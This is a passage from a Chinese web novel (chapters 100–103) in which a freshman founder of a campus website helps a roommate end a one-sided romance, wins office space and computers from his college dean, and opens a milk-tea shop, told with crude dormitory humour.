这种恋爱，谈了还他妈不如不谈呢，完全不符合他们对校园恋情的美好想象。 跟那位学姐比，刘雯同学都算个女菩萨。 雯雯同学虽然吊着杨少杰，对他忽冷忽热，却没有问杨少杰要这个要那个。 甚至杨少杰主动送她东西她都不要。 陈让当然知道薛文彬这是被PUA了。 其实对面那个学姐不过是个低端绿茶。 手段极为低级，也就薛文彬太单纯才会上套。 换宿舍其他人——哪怕是杨老三这个憨批，应该都不会陷进去。 沉吟片刻，陈让开口：“老四……你就是因为这个抑郁的？” 薛文彬长长叹了口气，把自己跟学姐最近的聊天记录给陈让看。 陈让看完，稍微代入一下薛文彬的角色后，差点没给自己整自闭。 最近《哈利波特与混血王子》不是刚上映么，学姐就在QQ上跟薛文彬说，她想去看，让薛文彬去买两张票。 薛文彬今天一大早就起来了，屁颠屁颠跑到学校附近的电影院，买了两张明天下午的票。 学姐的骚操作在后面——傍晚时学姐把他叫出去，居然把两张票都拿走了，说要跟她闺蜜一起去看。 薛文彬当场麻瓜。 回宿舍后，实在没憋住，跟学姐发了个消息。 “我以为、你是要跟我一起去看的。” 学姐回复很简洁。 “啊——你也要去？” 这个回复让薛文彬彻底破了防。 整个晚上都在思考，这段完全不对等的关系，到底值不值得。 “老四，这娘们儿根本不喜欢你，就是拿你当凯子。” “六哥，你说的我都知道，可这毕竟是我第一次谈恋爱，第一次牵女孩子的手，那一瞬间，我真的想跟她一辈子的，我……我真的不甘心。” 陈让拍了拍薛文彬的肩膀。 “老四，我从来不觉得、喜欢一个人有错，哪怕遇到这个人，本身就是个错误……但是咱们该放弃时就该学会放弃。” “我们应该从喜欢的人那里得到爱和力量，而不是花光所有的爱和力量去喜欢一个人。我们早上醒来、晚上睡前，想到的那个人，如果不是你幸福的来源，那就一定是你痛苦的根源。” 薛文彬陷入深思。 杨少杰则有些emo。 虽然陈六子是在开导老四，但他总觉得自己是在照镜子。 没心没肺的王子聪比起大拇指：“六子，没想到你他妈还是个哲学家啊，这话牛逼，我决定收进《王少爷语录》了……以后不许再说了！” “六哥，你说得对，我是该放弃了，谢谢你的开导。” 薛文彬总算还没无可救药。 陈让耸了耸肩，跟薛文彬摊了摊手。 “六哥，干嘛？” “手机给我，帮你斩了这段孽缘。” 薛文彬犹豫片刻后，把手机递给陈让。 王子聪和杨少杰，肯定好奇陈让会给那位学姐发什么，脑袋都凑了过来。 陈让打开对话框后，给那个学姐发了八个字。 “狗都能去，我不能去？” 十多秒钟后，学姐回复来了。 “薛文彬，你什么意思，敢骂我闺蜜是狗？” 陈让唇角微翘，啪啪打着字。 “有没有可能，我不是在说你闺蜜？” “薛文彬，你……我命令你，立刻、马上给我道歉，否则分手！” “分就分呗，老子十几个女朋友里面，就你他妈最丑，逼事儿还最他妈多！” 陈让打完最后一句话后，点开了删除好友的页面，却没有点确定，而是将手机还给了薛文彬。 “老四，自己点吧，别让哥几个瞧不起你。” 薛文彬咬了咬牙后，狠狠点下了确定键，给自己这段不堪的“初恋”，画上了一个泥泞的句点。 王子聪和杨少杰，都满脸膜拜地看着陈让。 还得是陈六子！ 可以想象，此时此刻，对面那位绿茶学姐有多抓狂了。 第101章 静以修身、俭以养德 第一百零一章 静以修身、俭以养德 周六整天，又陪高中同学，又带林静姝逛街，顺道还买了个车，晚上回宿舍，还要帮薛老四斩孽缘，着实给陈总累得够呛。 自律如他，第二天周末都选择了摆烂，寝室睡到太阳晒屁股才起床。 带着自己的学神少女牌挂件，图书馆写了俩小时小说后，今天就什么正事儿没干了，带着挂件满学校瞎溜达。 下午小树林踩蚂蚁，傍晚莫愁湖看大鲤鱼，晚上回到宿舍，陈总很神奇的发现自己满血复活了。 想了想，觉得应该是多巴胺和内啡肽的共同作用。 又涨了知识。 以前只知道谈恋爱会分泌内啡肽和多巴胺，没想到谈友爱也会！ 接下来一句话让小学生来写——太阳公公落下又升起，崭新的一周开始了。 这周陈让开始在学习上选择性摸鱼，把大部分精力都献给了事业。 众众网公测后，用户体验有了大幅提升，粘性自是增加不少，有了更多“自来水”，不停跟身边人“安利”，由此引发了“雪球效应”。 再加上“校园女神大赛”搞得热火朝天，也引来了大-波流量，众众网日活可谓蒸蒸日上，每天都在刷新峰值。 按理说陈总应该会很兴奋——他也的确很兴奋。 但是不知为何，心里总有些不得劲，好像忽略了什么，却又想不出来到底忽略了什么。 这几天陈让开始上选修课了，有门叫“心理学效应”，第一节课老师就讲了著名的“墨菲定律”。 “如果事情有变坏可能，那么不管这种可能性有多小，它总会发生。” 于是就真的发生了。 周三中午，杨艺那边火急火燎给陈让打电话，说计科学院也不知道要开设什么课程，把学校机房都给占了——技术部现在的办公地点可就在学校机房。 突然没了地方办公，众众网不得崩？ 陈让先给了个解决方案。 “去外面包个网吧？” 杨艺直接否决。 “老板，咱们学校外面的网吧，鬼知道有多少病毒啊……” 陈让皱眉。 先前倒也想过，自己买电脑和租办公地点，奈何手里资金不够。 别看众众网现在蒸蒸日上，其实本质还是个烧钱窟窿。 方方面面哪里不需要花钱？ 兜里就那么几个子，都恨不得一分钱掰两瓣花。 买电脑跟租办公地点，又是一笔不小开销。 所以取了巧，暂且让技术部在学校机房办公过渡。 哪知在最紧要关口出了这么大岔子。 陈让倒也没有懊恼太久，而是继续思考着解决方案。 “你们技术部那边，能给我多少时间解决这个问题？” “老板，最多一天，咱们现在都拿自己的笔记本顶着呢，就是笔记本不多，性能也有限……” “完全够了，等我消息。” 结束通话后，陈让买了些时令水果，然后直奔经济学院的院长办公室。 陈总本来没打算这么早跟学院摊牌的。 打算做出一定成绩后——起码日活量要破十万吧——再跟学院领导说，顺道讨要扶持。 里面的道理—— 薅羊毛这种事，第一次最好开口。 往后领导们有了防备，可就没那么好薅。 奈何计划赶不上变化。 技术部那边出了问题，陈让单靠自己一天之内又解决不了，只能选择现在就跟学院摊牌，先把眼前困境解了。 陈总不知道的是——其实“众众网”早就引起学院几位领导的关注。 甚至在他去院长办公室的路上，王松鹤老院长就正在跟人讨论“众众网”。 “老刘，这个众众网，到底是咱们学校哪个学生搞得，居然引起了这么大轰动？” 王老院长口中的老刘，名叫刘勋奇，经济学院主管内务的副院长。 此时王松鹤正在浏览众众网。 跟刘勋奇说话时，还没忘记给经济学院这边推出来的几个校园女神候选者点赞。 所以吧，女神大赛能火是有道理的，即便是王老院长这样的厅局级大佬，也不缺那该死的集体荣誉感。 刘副院长沉吟片刻后开口： “院长，我觉得这个学生大概率是咱们经济学院的，仔细分析这个学生的营销手段，好些个都是咱们学院专业课里面的东西嘛！这不就是咱们一直推崇的学以致用么——说明什么，说明院长您领导有方啊！” “要真是咱们学院的就好咯，就怕不是。” “院长，要真是的话，咱们学院是不是也该给些扶持？” “那必须的，不仅要给扶持，还应该捧成典型！” 大学本质上是个小社会。 学校其实是非常支持学生在校创业的。 真有学生在校期间捣鼓出名堂，从学校到学院、绝对不惜资源力捧。 就不说盼着学生功成名就后回馈母校了，真捧出来一个创业明星，对学校是多大的宣传，对招生工作又是多大利好？ 王松鹤继续浏览。 很快注意到了那个活跃度非常高的系列帖——《王少爷的日常》。 “这年头还有学生自称少爷的？这不是典型资本主义流毒么！” 王老院长不由皱眉，看了一阵后没忍住怒气，啪啪打字开骂。 “这位同学，你写的都是什么玩意儿？” “公然标榜拜金主义，享乐主义……你也配当我们蜀大的学生？” 王子聪恰好窝在宿舍没事儿干，立马看到了王老院长的留言，很符合逻辑的怼了回来。 “呵呵，老子写什么关你屁事？” “不服，咬我啊？” “不过你也咬不着，少爷我气死你！” 于是王老院长真给气到了。 “这位同学，你哪个学院的，素质怎么如此低下，书都读到狗肚子里去了么？立马来我办公室！” “哟呵，黑少爷我的人多了，你这货是最装腔拿调的。不知道的还以为你是我们学院的院长呢，想套话线下真实我？你看少爷我像那种二傻子么。” 王松鹤眼睛都气红了，打了一大段教训王子聪的话，但是没能发出去。 王大少或许是察觉到了不对劲，更可能他就是这样的“贱客”，这货直接拉黑了王松鹤。 向来温文尔雅的王老院长，竟是气得吹鼻子瞪眼。 恰在此时，陈让提着水果进了办公室。 “来就来，带什么水果——” 王松鹤养气功夫还是有的，瞬间压下去了怒火。 嘴上这么说，却还是乐呵呵收下。 毕竟也就一袋水果，不是什么值钱物件。 “院长，我也是无事不登三宝殿啊，有事儿找您帮忙……” 什么人就该下什么菜，陈总深谙此间道理。 跟王老院长这样的高级知识分子打交道，就不能虚头巴脑。 果然——陈让如此直接，王松鹤却没反感。 “看来你小子是遇到困难了啊，学习上还是生活上的？” 此时刘勋奇插了句嘴。 “陈让，你有什么问题，是我这个专门管内务的副院长给你解决不了的？用得着来找你们院长么。” 嘴上表达着不满，手上却拿了根香蕉边剥边吃，说明并不是真的生气。 “刘院，这不去您办公室没把您找着么。”陈总嘿嘿一笑，“是这样的——我最近在创业，遇到了一些困难，我希望学院能给些扶持。” 刘勋奇跟王松鹤表情都有些诧异。 “你小子在创业？” “陈让，你才大一，搞学习才是最紧要的，要觉得学业太轻松，干脆就去跟刘教授搞竞赛得了，创什么业嘛。” 两个大佬都以为陈让是在小打小闹，譬如代理个校园卡、开个小店之类。 陈让耸了耸肩：“这不已经开始搞了么，开弓没有回头箭。” 王松鹤没有说话，而是端起茶杯喝了一口。 显然他更希望陈让把精力放在搞学习上，而不是大一就创什么业。 刘勋奇开了口：“陈让，我们经济学院原则上是鼓励学生在校创业的，但还是你们院长先前那句话——你才大一，更应该把精力放在学习上，创业嘛，大三大四再搞也不迟。” 陈让表情无奈：“刘院，我摊子已经铺开了啊，还铺得不小，真刹不住车了。” 两位大佬都忍俊不禁。 “陈让，别怪院长我打击你啊……” 王松鹤苦口婆心的样子。 “最近有个叫众众网的网站，在蓉城高校圈非常的火爆……据我所知，这个网站就是我们学校一个学生搞的。陈让，你这位学长才叫大摊子！” 刘勋奇跟着接茬儿，话术跟王松鹤差不多。 先是狠夸了众众网一番，然后借此敲打陈让。 最后就是劝说。 让他别东想西想，先好好搞学习，以后有的是机会创业…… 陈总表情变得颇为古怪。 王松鹤开始犯嘀咕，寻思自己跟老刘的话是不是过了，有点把这小子打击到了？ 瞧孩子这表情，多难看啊。 想来也是——跟打造出众众网的那位学长比，这小子所谓的创业肯定不上台面。 “感情……您二位还不知道众众网是谁搞出来的？” 刘勋奇点头，说不知道。 王松鹤接着问，未必你小子知道？ 陈总点头后指着自己：“那可不，跟我认识有十八年了。” 王松鹤：“……” 刘勋奇：“……” 啥玩意儿？ 众众网创始人是你小子？ 合着咱哥俩这是被你滋了一脸？ 陈让看着目瞪口呆的两位大佬，好不容易才做好表情管理没有笑出声。 讲道理，这可不能怪他。 两位大佬刚才压根没有给他说话机会——我到底在搞什么项目——就把众众网搬出来打压他了。 “咳咳……” 为掩尴尬，王松鹤端起茶杯喝了一口。 却是呛住，不住咳嗽。 陈让连忙给他拍背。 刘勋奇嘴角也在抽——那是真的尴尬。 他瞪了某人一眼：“陈让，你搞这么大阵仗，竟是一点风声没漏，够藏得住事啊！” 陈让摸了摸后脑勺：“刘院，那不是还没搞出什么名堂么，我也不好意思讲。” 刘勋奇却是话音一转：“你先前说遇到了困难？快给你们院长说说啊。” 说完不住挤眉弄眼——其实他巴不得陈让起飞，飞得越高越好。 王松鹤过两年就退了，院长大概率由他接任。 也就是说，陈让真捣鼓出大名堂，大半功劳都得算到他头上！ 此时王老院长也勉强缓过来了，点了点头，让陈让快说，合理范围内都尽量满足。 陈让点了点头，比起两根手指。 第一，众众网缺少办公地点。 希望学院这边拿个活动教室给众众网办公。 第二，众众网缺少电脑，他现在没有余钱购置，希望学院能够暂借五十台电脑。 俩大佬听完都笑了。 就这？ 还以为多大事！ 王松鹤摆手。 “活动教室好办，我这边给你写个条子，你拿到大学生创业基地让他们给你安排。电脑嘛，我回头给机房那边打个电话，也尽快给你搞定。” “院长，我这急得很，明天能行吗？” 王松鹤沉吟两秒后，说了句“原则上问题不大”。 “那就是妥了。” 这点官腔陈总还是听得懂的，立马舒了口气。 厅级领导就是不一样。 把他搞得焦头烂额的事，放在俩大佬这边，压根就是芝麻绿豆。 王松鹤很快把条子递给陈让。 陈让接过后却没有立刻告辞——他的“燕国地图”里其实藏了两把匕首。 “院长，还有个事儿。” “还有？你小子是打算把我薅秃啊……你先说我再考虑同意不同意。” “咱们学院女生宿舍楼下，不是有两个连着的空闲铺面么，位置挺偏的，我想租下来，配合网站搞些周边宣传……” 王松鹤看向刘勋奇。 “老刘，这事儿谁负责的？” “后勤部的老周……院长，那我回头给老周说说这事儿，价格嘛，就给陈让打个七折吧。” “老刘，你就惯着这小子吧，我都还没答应……” “院长，咱五十台电脑都给了，还在乎这仨瓜俩枣？再说陈让把事业搞起来了，那也是给咱们学院长脸啊，以后招生也有底气，什么清华经管，中大岭院……他们有众众网吗？” 刘勋奇这番话，准确戳到了王松鹤的心趴。 酥酥的，麻麻的，痒痒的，就挺舒服。 于是刘院长大手一挥：“行行行——准了！” 陈让嘿嘿一笑：“院长，那我先撤了？” “忙你的——等等！” 王松鹤想起个事。 “陈让，你应该有众众网的用户资料吧，有个叫ID叫‘王少爷’的，知道是谁不？” 陈让心中一紧：“院长，您怎么突然问起这个了？” 王松鹤黑着脸：“这个人的帖子我非常讨厌，肆无忌惮的宣传拜金主义和享乐主义，如果他也是我们学校的学生，我只能说他是蜀大之耻！” 陈让开始冒冷汗。 刘院长这话说的很重。 王子聪这货、是怎么把刘院长给惹到的？ “院长，我是知道这人是谁，但是泄露用户隐私，违反法律……” “没让你泄露，不过你替我转告他一句话——” “您说……” “静以修身，俭以养德！” “收到——回头我让这人把这话抄一百遍，给您送来！” 陈总这趟院长办公室之行，可谓收获满满。 搞定了众众网办公地点，白嫖了五十台电脑，还以市场价的七折拿下了两间铺面。 也就是说，计划中准备送给林静姝的奶茶店，很快就能开起来。 至于位置不好——背靠众众网的流量，任何犄角旮旯对陈总来说都是黄金口岸。 这个很好理解——后世多少商家，靠着做抖音把店盘活的？ 回到宿舍，陈让唤来王子聪。 “六子，啥事儿？” “王老五，你他妈闯大祸了，老实交代，下午都干啥了？” “没干啥啊……” “我他妈都知道了，还装？” “陈六子，你他妈有病吧，我他妈偷偷在被窝里打了个胶，这事儿你也要管？” “老子管你打不打胶啊，我说的是你那帖子，你今天是不是在贴子里骂人了？” “我哪天不骂啊，你五哥像那种会惯着黑粉的人？” “也对……但你知道你今天骂了谁么？” “谁啊？”王子聪满脸的懵，仔细回忆着，“有个黑子我印象倒是挺深，说话老气横秋，我怼他一顿后，他居然说让我到他办公室去，要教教我做人的道理……不知道的，还以为他是我们学院的院长。” “恭喜你，猜对了。” “啥？！” 王子聪瞬间汗毛倒立。 “六子，你别吓我，那人真是我们院长？” “我下午才去过院长办公室，我看王老院长那架势，都恨不得顺着网线爬过来把你砍了。” “……” 王子聪吓得括约肌都快失能。 “那……那该怎么办啊？我……我不会被退学吧？” “老子像是那么不讲义气的人？这事儿我给你兜着了。” “六子，不，六爷，打今儿起，你就是我再生父母……” “先说正事儿——老院长吩咐我送你一句话，‘静以修身，俭以养德’，你赶快写个一百遍，回头我给人家王老院长送过去。” “行吧，谁让我惹不起他老人家呢……六子，咱们院长大人还有交代没？” “有的，老院长还吩咐了，让你给我洗一个学期的袜子！” “喵喵喵？” 王子聪看着满脸憋笑的陈让，倒也瞬间反应了过来。 “去你大爷的，顶多给你买一学期的早餐，洗袜子……少爷我长这么大，自己袜子都没洗过一次呢。” 这是大实话，这货的袜子都穿完就扔的。 何止是奢侈，简直是奢侈。 第102章 光明顶上的神雕大侠 第一百零二章 光明顶上的神雕大侠 此处战术后仰换一下——什么叫厅局级领导的含金量？ 陈总很快-感受到了。 搅得他焦头烂额的事儿，王老院长却只打了两个电话，批了两张条子就搞定。 翌日清晨，天高云淡。 陈让起了个大早，捯饬完毕后，拿着条子，到了大学生创业基地总部办事处的办公室。 半小时后，创业基地大楼最大活动教室101就变成了陈总的形状。 又两个小时后，机房那边也把五十台崭新电脑送了过来，随行还有两个计算机专业的学长，很贴心的帮忙牵好了网线。 网费还是要陈总自己付的。 不过价格很低，嵌入的校园网，在学校范围内网速很快，价钱还便宜，不到外面同等带宽的一半。 再战术后仰一下——什么叫西南第一九八五的含金量？ 哪怕是中-国电信这样的巨无霸，也得给面子给优惠！ 捯饬完毕，陈总先自己欣赏了一阵儿，然后给杨艺、李云飞和楚云龙三大骨干分别打了电话。 又一小时后，三大骨干便都带着若干“小弟”，到了101活动教室。 看着眼前将近两百平的活动教室，以及栉比排列的五十台崭新电脑，众人都是目瞪口呆，震撼的不行。 “老板，你神了啊，这才过了一夜，就变出了这么大一个办公地点？” “承认了吧，老板，其实你就是咱们蜀大聂老校长的私生子吧，不然学校怎么会给咱们星环科技这么大扶持力度？” “牛逼，老板你是真的牛逼，打今儿起，我老奶奶都不服就服你，这些电脑配置多好啊，办公条件也不错，不知道比机房那边好多少倍了，要再加个中央空调，都快赶得上外面的写字楼了吧？” “兄弟姐妹们，等于说，咱们这是提前享受到都市白领待遇了？” 众人纷纷吹起了某人的彩虹屁。 陈总没有玩虚假的谦虚，而是选择了小装一波。 “基操，勿六。” 好像昨天下午院长办公室装孙子的不是他一样。 众人忙着调试电脑时，陈让把这个喜讯，QQ上分享给了自己的“好朋友”。 “昂——富贵同学，你好厉害吖，那你接下来忙不忙，我能不能过来找你……” “事情倒还有些，打算跟大家开个会，不过没所谓，本质上我这边就是个草台班子，没那么多讲究，你想来就来呗，实在不行，也在公司给你安排个职位，这样你过来跟咱们一起开会，不就名正言顺啦？” “这个可以有——那我能担任什么职务？” “给英俊又帅气、伟大又智慧的陈老板当秘书吧。” “我才不要！” “那你想当什么，CEO还是CFO，自己说！” “陈让，我想当老板娘！” “……” 陈总脸颊抽了抽。 “这位同学，我必须跟你纠正一下，老板娘是身份，不是职务！” “我只想当老板娘，求求了，富贵同学……” “求求也不行……咱们待会儿可是要分工位做工牌的，总不能给你搞个老板娘的工牌吧，咱们内部倒是无所谓，外人看了不得笑掉大牙……先不扯这个了，话说你到底来不来？” “来啊，我都在路上了……最多还有五分钟就到。” 此时101活动教室，却是来了几位在创业基地当助理的学姐，正指着陈总嘀咕议论。 “也不知道这位才大一就捣鼓出这么大阵仗的小学弟，有没有女朋友啊？” “年轻，帅气，有钱又有能力，天啦，简直是我的理想型！” 几个学姐越看陈总越上头。 于是其中颜值身材最好的一个，在几个姐妹怂恿下鼓起勇气搭讪了。 “陈学弟，没想到众众网就是你创办的，话说你真的才大一？” “吴学姐，刚才我去你们总办处填资料时，就是你负责的吧，我是不是大一你还能不清楚？” 总办处是创业基地总部办事处的简称。 至于这位颜值身材综合起来能拿八十多分的吴学姐，全名叫吴婕妤，应该是总办处那边几个学生助理中职位最高的。 为什么陈让能记住这位学姐的名字——主要是婕妤两个字比较生僻，他要没看过甄嬛传，还真不知道念啥。 “就是清楚才觉得不可思议啊，学弟，你也太牛了吧，我在总办处干两年多了，那些个所谓校内创业的，要不就是小打小闹，譬如代理个校园卡，要不干脆就是挂羊头卖狗肉，过来骗学分的。” 吴婕妤眉宇间全是对某人的欣赏，言辞间更是不吝赞美。 “像学弟你这样捣鼓出这么大阵仗的，还真是头一个！更别说你才大一，进校都还不到两个月……” 陈总选择了虚假的谦虚：“学姐谬赞，其实我也是小打小闹瞎折腾……” “过分的谦虚，那就是骄傲了哦，”吴婕妤眼中带上了促狭，终于露出了狐狸尾巴，“学弟，加个QQ吧？以后你这边有什么事需要我们总办处帮忙的，你直接QQ找我。” 陈让正想说“我打你们总办处座机不一样么”，耳边传来个带着明显小情绪的声音。 “这位学姐，他家里穷，没有QQ。” 循声望去—— 陈总哭笑不得。 竟是林静姝。 学神少女肯定是刚到，手里拎着一大袋水果。 祸水级大美人都自带气场。 更别说此刻的林静姝，还是主动在恃美行凶。 吴婕妤哪儿扛得住啊，瞬间觉得自己像个类人猿。 “学姐，还要不要QQ啊？” “咳……不要了，我突然反应过来了，学弟你打我们总办处座机也是一样的……” 吴婕妤说完就逃。 其他学姐也很快消失。 学姐们走了以后，林静姝的鹅蛋脸瞬间就不紧绷了。 她看着自己的好朋友，展颜一笑，露出两排齐整贝齿。 于是姑射山上的神女谪落了凡尘，少了几分神圣，染了几分烟火，却是更显美丽。 估计是很久没人用的缘故，101活动教室的吊灯，十个有七八个都是坏的，以至于所有灯都打开后光线依旧很暗。 但是随着林大美人这一笑，星环科技的员工们，却分明有种感觉——突然就很亮了！ 于是他们生动又形象的理解了“蓬荜生辉”这个成语。 所有人都看着林静姝，目光呆滞。 学神少女明显害羞，脸颊绯红。 “你们好，我……我叫林静姝，我……我是……” 她竟是破天荒的跟众人打了招呼。 就是支支吾吾的——毕竟是个深度社恐。 杨艺、李云飞和楚云龙三人早就见过林静姝。 李云飞嘿嘿一笑：“哟，老板娘来了啊，还给大家带了这么多水果？” “昂——” 林静姝本来处在卡壳状态。 有了李云飞这句话，语言库瞬间完成更新，说话也通顺了许多。 “对——我是老板娘！” 然后塑料袋中掏出颗大石榴塞给李云飞。 “给——你是个好人！” 甚至还附赠一个“呦呦牌”假笑。 李云飞：“……” 虽然石榴很大很红，老板娘笑得也很甜，但是总觉得哪里没对。 林静姝那句“我是老板娘”，惹来哨声一片，众人起哄一阵后，纷纷跟她问好。 不然呢？ 没见过猪跑总吃过猪肉。 职场法则第一条——可以得罪老板，但是千万别得罪老板娘！ “老板娘好！” “老板娘，你好漂亮，我仿佛看到了仙女！” “老板上辈子是不是拯救了银河系啊，不然怎么能把老板娘追到手的？” 星环科技眼目前都是年轻人，起步阶段也不可能搞得多正规。 员工们都挺活泼，连陈总这个老板的玩笑也敢开。 他们对陈让，更多的是尊重和佩服，而不是害怕和畏惧。 学神少女显然迷失在一句句“老板娘”里走不出来了。 微表情变得异常丰富，桃花眼中全是蜂蜜。 她给每个员工都发了水果，并且附赠一个“呦呦牌”假笑。 陈总看着就很肉疼。 石榴，山竹，车厘子…… 全都贵得要死的品种！ 讲道理，这帮牛马也配吃？ 发完水果后，某个快被哄成胚胎的学神少女，满脸雀跃的扯着某人衣袖。 “陈让，他们人都好好啊，我能天天来吗？” “咳……你开心就好。” 林静姝花得又不是他的钱，陈总可没资格骂她“败家娘们儿”。 “咳咳——”某人用力咳嗽了几声，“水果暂且放一边，咱们先开会。” 陈老板还是有威信的，众人很快安静。 林静姝也坐到了前排，模样十分的乖巧，仿佛真把“老板娘”当成了职务。 “诸位，未来一段时间，这里都将是我们星环科技的大本营，既然办公地点也有了，那咱们还是正规化一点，开会之前，大家先介绍一下自己在星环科技的职位、以及负责的版块，好让大家伙心里都有个数，以后遇到问题了知道要先找谁，而不是什么事都要找我……” 某人先指了指自己。 “我叫陈让，星环科技老板，负责统筹和协调各部门工作……” 杨艺跟着起身，说自己是技术部主管，以后但凡是技术方面的问题，直接向她汇报就行。 李云飞跟楚云龙哥俩、也依次站了起来，做了类似发言。 两人一个管内容部，一个管设计部。 第四个起身的，是个西装革履、看起来颇为沉稳的青年。 此人三十岁左右，已是在场年纪最大。 “诸位，我叫戴杰，是星环科技的第四个正式员工，张冠李戴的戴，杰出的杰，承蒙陈总抬举，让我当市场部的主管……” 前两天，陈让让楚云龙带着设计部哥几个去跑市场。 戴杰就是楚云龙跑市场时认识的。 聊一阵子后，楚云龙觉得此人非常善于交际，对大学城附近这一代也无比熟悉，觉得是个跑市场的人才，就推荐给了陈让。 面试后陈让也认可了戴杰的能力，决定先试用试用。 戴杰只用了两天就证明了自己，拉到了好几个赞助商家，赞助费五千到两万不等。 虽说加起来也没破十万，但好歹迈出了第一步。 陈总挺高兴，干脆正式聘用了戴杰，让他当市场部主管。 价格也只给了外面同等职位的七成，戴杰却也没什么意见。 他也是个有远见的，非常看好众众网的潜力。 几个部门主管都自我介绍完毕后，陈总开始聊细节。 “杨艺学姐，校园女神大赛主题页面做出来了么？” “老板，都做好了，投票打榜系统也已经经过三次测试了，目前没有发现任何问题，已经可以上线。” “阿飞，内容部那边都做好准备了吧？” “老板，早就准备好了，光是预案咱们就准备了三套……” 戴杰举了手。 “戴哥，你说——” “老板，我跟有意向冠名的几个商家都谈崩了，其中出价最高的是泰来驾校，不过他们也只愿意花十万，买此次大赛的冠名权，跟您要求的至少二十万相差太远，您看该怎么搞？” 办网站肯定是要盈利的。 不把可持续发展的正循环建立起来，就陈让手里这几个子儿，绝对撑不了多久。 当年王兴的校内网就是典型。 哪怕在王兴手中时，校内网的日活也很恐怖，得是眼目前众众网的好几百倍。 却因为缺乏变现渠道，搞得王兴焦头烂额，四处求爹爹告奶奶拉投资，中间这个过程，也不知道当了多少回孙子，吃了多少次闭门羹。 便是如此也没能撑下去。 最后以白菜价——区区两百万美金——把校内网卖给了陈一舟。 又几年后王兴搞出美团，借此证道，登上杀猪榜前五，那就是另外的故事了。 校内网在陈一舟手中变成了人人网，真正做大做强。 按照前世轨迹，两年后人人网会在纽交所上市，当天股价就较发行价上涨约百分之四十，市值超过七十亿美金，巅峰市值更是接近百亿，可谓开门大红。 奈何陈一舟只是个投机商人，没有王兴那么擅长做内容。 人人网最终落得一地鸡毛，成了时代一粒尘埃。 陈让搞众众网，本身就是摸着王兴过河，自然不能掉一个坑里。 他办“校园女神大赛”，既要拉流量，也要搞钱，两手都要抓，两手都要硬！ 目前陈让想到的主要变现渠道——卖冠名权跟广告位。 前者占大头。 他理想中的价位是二十万——就市场部目前给的反馈来看，却没有哪个商家肯出这么多钱。 泰来驾校最有诚意，却也只愿意出十万。 显然驾校老板觉得众众网顶天就值这个价。 陈总倒也没有因为被轻视就愤怒。 不是任何人都能用发展眼光看问题。 而今这个时代，商家们普遍缺乏互联网思维。 更不可能有人能预测到众众网未来发展趋势——流量增长不是线性，而是指数。 泰来驾校能够出十万已经很有诚意。 沉吟至此，陈总做了决定——毫不犹豫拒绝！ 戴杰皱着眉头： “老板，那怎么搞啊，今天都周五了，大赛下周一就正式开始，咱们还来得及找别的冠名商？再者蓉城这边，怕也不可能有商家出的价比泰来驾校更高。” 其他员工也都忧心忡忡。 要大赛连个冠名商都没有，那不等于还没正式开启就先拉胯一半？ 陈让摆了摆手，说这事儿你们市场部就不管了，我来搞。 众人满脸疑惑，陈总没有解释。 关子该卖就要卖。 他要借此机会，在这批骨干员工们的心中，树立起他富贵大帝神通广大的人设。 一个小团队初期怎么才能以最快速度形成凝聚力？ 古往今来许多故事早就给出答案——搞个人崇拜。 虽然后期会有弊端，但是可以“先污染、后治理”。 会议结束后，性格跳脱的李云飞，问了陈总一嘴儿，说老板，咱们公司总部叫什么名字啊，总不能就叫101活动教室吧？ “那不能……大家伙儿都说说呗。” 众人陆续开脑洞。 有说叫“大本营”的，直接被否了——像尼玛侵华日军最高军事指挥机构。 有说叫“祖玛教主大厅”的，换来众人好大的白眼——哥们儿你砍传奇SF砍入魔了吧。 李云飞嘿嘿一笑：“老板，要不叫‘黑木崖’？” 显然这货是个武侠迷。 “去你的，内涵你老板我是东方不败啊？” 不过李云飞的提议，给陈总打开了思路。 “干脆叫‘光明顶’？” 他这个提议，得到了许多人附和，于是就这么敲定。 李云飞甚至建议，要给陈总起个“张无忌”的代号，然后其他人按照光明二使、四大法王这么往下排。 毕竟阿里巴巴也这么搞的——譬如马云叫“风清扬”。 “张无忌……” 陈总给否了。 他素来讨厌张大教主这个优柔寡断的花心大萝卜。 “我还是更喜欢‘杨过’。” 李云飞挺好奇：“老板，为啥？” 陈总挑了挑眉：“因为我的雕也很大。” 众人：“……” 老板就是老板，这条破路也能开车！ 然后李云飞问了杨艺一嘴儿。 “学姐，你看过《神雕侠侣》没？” “看过。” “那你喜欢小龙女吗？” “小龙女是谁？” 李云飞就很der：“神雕侠侣女主角啊，你不说你看过么？” 杨艺皱眉：“可我看的那本，女主角明明叫黄蓉……” 陈总正在喝水，直接一口喷出来。 因为这个版本的神雕侠侣，他也看过，没记错的话，作者不是金庸，而是佚名。 讲的是杨过跟黄蓉流落荒岛后，相濡以沫、彼此扶持的故事。 第103章 呦茶开业 第一百零三章 呦茶开业 周五过后就是双休。 不过对星环科技的员工们来说，眼目前就不可能有周末这个概念，遑论双休。 女神大赛海选已经结束，马上就是正赛。 眼目前的星环科技，重心肯定放在这个上面。 除了市场部那几个在外面跑市场的——其他员工整个周末除了吃饭睡觉，其他时间都窝在“光明顶”。 完善方案，优化流程，页面美化，负载测试…… 按理说周末被残忍剥夺，加班还没有加班费，铁定有人会闹意见。 但是很神奇，员工们对加班却都充满了主观能动性。 只能说—— 愚蠢又清澈的当代大学生们，绝对是世界上最优秀的韭菜。 陈总割他们都不用弯腰，他们自己就知道凑上来。 “老板，我长大了，快来割我吧！” 员工们如此给力，陈让还能说什么？ “吃得苦中苦、老板开路虎”，就这架势，别说路虎，陈总买私人飞机都不是梦！ 陈让没有陪着大家加班。 每天上午过来逛一圈，然后就人间蒸发。 也没陪林静姝。 某个学神少女甚至都不知道自己的好朋友，周末两天早出晚归的到底在忙活什么。 周日中午，经济学院女生宿舍楼下超市对面，那两家闲置许久的空铺、卷帘门竟是打开了，接着就有十几个工人对铺面进行了简易装修。 没有大动——也不需要。 就是贴了墙纸、画了logo，很快也就忙完。 接着又来好几拨人。 拉机器的，拉纯净水的，拉原料的，忙忙碌碌就是一下午。 夕阳将要落山时，招牌终于被挂上。 很简洁的两个字，“呦茶”。 女生宿舍楼下，一到下午，到处都是谈恋爱的年轻情侣，见状不由讨论。 “我当是什么呢，搞这么大阵仗，原来是家新开的奶茶店？” “不过这家奶茶店的老板，真的很有审美，装修简约又新潮，看起来也很干净卫生，用的都是桶装纯净水，操作台也是透明的……” “确实，不像对面学院超市的附属奶茶店，简直就是个黑心小作坊……姑奶奶喝它家的奶茶，十次有七八次都会拉肚子……要不是去校外买太远，学院路这边它又是独家，杀了我也不会买的！” 